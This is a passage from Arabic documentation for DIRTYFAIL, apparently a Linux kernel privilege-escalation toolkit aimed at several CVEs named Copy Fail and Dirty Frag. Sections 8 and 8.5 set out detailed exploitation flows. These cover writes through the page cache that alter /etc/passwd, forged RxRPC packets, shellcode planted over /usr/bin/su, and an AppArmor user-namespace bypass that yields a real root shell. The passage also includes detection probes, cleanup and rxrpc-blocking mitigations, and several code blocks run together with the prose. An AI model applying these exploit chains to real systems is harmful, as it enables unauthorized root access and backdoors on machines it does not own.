./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

---

## 7. كيف يكتشف DIRTYFAIL كل ثغرة من ثغرات CVE

### Copy Fail (استطلاع حارس نشط)

الاكتشاف يقوم فعليًا بتشغيل البدائية ضد ملف حارس في
`/tmp`:

1. استطلاع `socket(AF_ALG, SOCK_SEQPACKET, 0)` ثم `bind` إلى
   `authencesn(hmac(sha256), cbc(aes))`.
2. إنشاء ملف حارس بحجم 4 KiB في `/tmp` وإدخال صفحته الأولى
   إلى الذاكرة المؤقتة (cache).
3. تشغيل بدائية الاستغلال الكاملة ضده: `sendmsg` لـ AAD مع
   `seqno_lo = "PWND"`، و splice لـ 32 بايت من الملف الحارس إلى مقبس
   AF_ALG op، ثم تشغيل `recv` لإطلاق الكتابة غير المقصودة (scratch write).
4. إعادة قراءة الملف الحارس والبحث عن `PWND` في أي مكان في الصفحة
   الأولى.

وجود العلامة ⇒ ثغرة قابلة للاستغلال. غياب العلامة لكن محتوى الصفحة مختلف ⇒
البدائية اشتغلت جزئيًا (ما زالت ثغرة). الصفحة مطابقة تمامًا ⇒
ليست ثغرة على هذا النواة.

### Dirty Frag xfrm-ESP (قائم على الشروط المسبقة — أو نشط مع `--active`)

الوضع الافتراضي `--scan` يعتمد على الشروط المسبقة فقط — نحن لا ندخل إلى
مساحة مستخدم (user namespace) في وضع الكشف (لأن ذلك سيؤثر على الشبكات داخل
تلك المساحة). نتحقق من:

* إصدار النواة ضمن النطاق المتأثر
* أن `esp4` / `esp6` محمَّل حاليًا أو قابل للتحميل التلقائي
* نجاح إنشاء مساحة مستخدم غير ممتازة (يُستطلع عبر fork ←
  child `unshare(CLONE_NEWUSER)`)
* أن AppArmor `apparmor_userns_caps_blocked()` يُرجع false

توفر جميع الشروط الأربعة ⇒ VULNERABLE (الشروط المسبقة مستوفاة).

`--scan --active` يوسّع هذا باستطلاع تخزين حارس (sentinel-STORE): ننشئ fork
لطفل يفعّل تجاوز AA، ويدخل إلى مساحة مستخدم/شبكة جديدة، ويسجّل SA من نوع
XFRM، ويُطلق مشغّل ESP-in-UDP ضد ملف حارس
`/tmp/dirtyfail-esp-probe.XXXXXX`. الأب يعيد قراءة
الملف الحارس ويبحث عن بايتات العلامة:

* العلامة وصلت → STORE في النواة قابل للوصول → **VULNERABLE**
* الصفحة سليمة → تصحيح النواة ساري المفعول → **NOT VULNERABLE**
* تجاوز AA مرفوض → **PRECOND_FAIL** (مخفَّف بواسطة LSM)

هذه هي الطريقة الوحيدة للتمييز بين نواة مطبَّق عليها التصحيح الخلفي (backported-patched)
ونواة غير مصحّحة دون تشغيل استغلال قلب UID الكامل
ضد `/etc/passwd`. النمط نفسه يُستخدم لـ ESP v6 و RxRPC
و GCM تحت `--active`.

### Dirty Frag RxRPC (قائم على الشروط المسبقة — أو نشط مع `--active`)

الشروط المسبقة:
* `rxrpc` في `/proc/modules` أو قابل للتحميل التلقائي
* نجاح `socket(AF_RXRPC, SOCK_DGRAM, 0)`

الاستطلاع النشط (`--active`): ينشئ fork عبر تجاوز AA، ويسجّل مفتاح جلسة
rxrpc بقيمة عشوائية من 8 بايتات، ويرسل تزويرًا واحدًا من نوع CHALLENGE +
DATA ضد ملف حارس في `/tmp`، ثم يبحث عن أي تغيير في البايتات داخل نافذة
الـ 8 بايتات المقتطَعة (spliced). لا نحاول توقع ما وقع —
أي تعديل يؤكد أن STORE في النواة يعمل.

### Copy Fail متغيّر GCM + ESP v6 — بنفس الشكل

الاستطلاع النشط لمتغيّر GCM يثبّت SA بوضع النقل (transport-mode) مع
IV عشوائي ويُطلق `gcm_trigger` ضد ملف حارس في `/tmp`؛ أي تغيير
في البايتات عند sentinel[0] يؤكد إمكانية الوصول. استطلاع ESP v6 أيضًا
يقوم بمعايرة ذاتية لـ `V6_STORE_SHIFT` حسب بناء النواة (انظر
`calibrate_v6_shift` في `src/dirtyfrag_esp6.c`) — اختلافات توزيعات
`esp6_input` تضع STORE على إزاحات مختلفة قليلًا
داخل المنطقة المقتطَعة، واستطلاع المعايرة يكتشف
الإزاحة الدقيقة قبل إطلاق الاستغلال الفعلي.

---

## 8. كيف يستغل DIRTYFAIL كل ثغرة من ثغرات CVE

### استغلال Copy Fail (`copyfail.c`)

STORE واحدة من 4 بايتات عبر `algif_aead`:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

ثم اخرج من مساحة الأسماء، `execlp("su", user)` من العملية الأم — نفس
الخطوة النهائية كما في Copy Fail.

### استغلال Dirty Frag RxRPC (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

مصفوفة البنى:

* **x86_64 (56 bytes, 14 chained 4-byte writes)** — تم اختباره من البداية إلى النهاية على Fedora 44 (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`). الشيلكود في
  `shellcode_x86_64[]`.
* **aarch64 (80 bytes, 20 instructions)** — تم ترميزه يدويًا من مرجع ARMv8-A، **لم يُنفَّذ أبدًا على عتاد حقيقي**. مُقيَّد خلف
  `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. يأتي المصدر في
  `tools/exploit_su_aarch64.S` للتحقق المجتمعي — قم بتجميعه
  باستخدام `aarch64-linux-gnu-as` وتأكد من أن تسلسل البايتات يطابق
  `shellcode_aarch64[]`.
* أي شيء آخر → preconds_fail.

يقوم ملف الحالة `/var/tmp/.dirtyfail-su.state` بتخزين البايتات الأصلية لنقطة الدخول بحيث يمكن لـ `--cleanup-su` استعادتها. يفحص `--list-state`
هذا الملف (وملف الباب الخلفي) دون لمس أي شيء.

إذا وجدت خطوة التحقق أن ذاكرة التخزين المؤقت للصفحات لا تطابق الشيلكود المزروع (النواة مُصححة، AF_ALG مدرج في القائمة السوداء، إلخ)،
يتم تشغيل التراجع التلقائي فورًا وتتم إزالة ملف الحالة — ولا حاجة للمشغل لتشغيل cleanup-su بعد ذلك.

---

## 8.5 البنية: التجاوز القائم على fork الخارجي/الداخلي

تشترك جميع أوضاع الاستغلال الخمسة في بنية مشتركة للتعامل مع سياسة Ubuntu `apparmor_restrict_unprivileged_userns=1` دون حصر `su` بعد الاستغلال داخل userns حيث لا يمكنه الوصول إلى جذر init-ns الحقيقي.

### المشكلة

يضع التجاوز الساذج *عملية* `dirtyfail` بالكامل داخل مساحة مستخدم جديدة عبر `unshare(CLONE_NEWUSER)`. هذا كافٍ لتسجيل XFRM SAs وتشغيل مشغلات splice — ولكنه يعني أيضًا أن `execlp("su", user)` النهائي يعمل داخل userns، حيث يتم تعيين uid 0 عبر `uid_map "0 1000 1"` إلى uid الخارجي للمشغل (1000). عندها يصل `setresuid(0)` الخاص بـ PAM إلى userns-uid-0-المُعيّن-إلى-1000، وهو **ليس** جذر init-ns الحقيقي — فـ `cat /etc/shadow` يُرجع EACCES، ولا تستطيع الصدفة فعليًا تنفيذ عمليات مُميَّزة.

### الحل: الانقسام الخارجي/الداخلي```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

### Dirty Frag RxRPC (CVE-2026-43500)

1. **لا توجد رقعة من upstream بعد.** رقعة الباحث على قائمة lkml؛ غير مدمجة
وقت كتابة هذا (2026-05-08).
2. **إجراء مؤقت**: احظر `rxrpc`:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

### أو استخدم `dirtyfail --mitigate`

نفس مجموعة التخفيفات مغلّفة في وضع دفاعي مُقيَّد
بتأكيد مكتوب:```sh
sudo ./dirtyfail --mitigate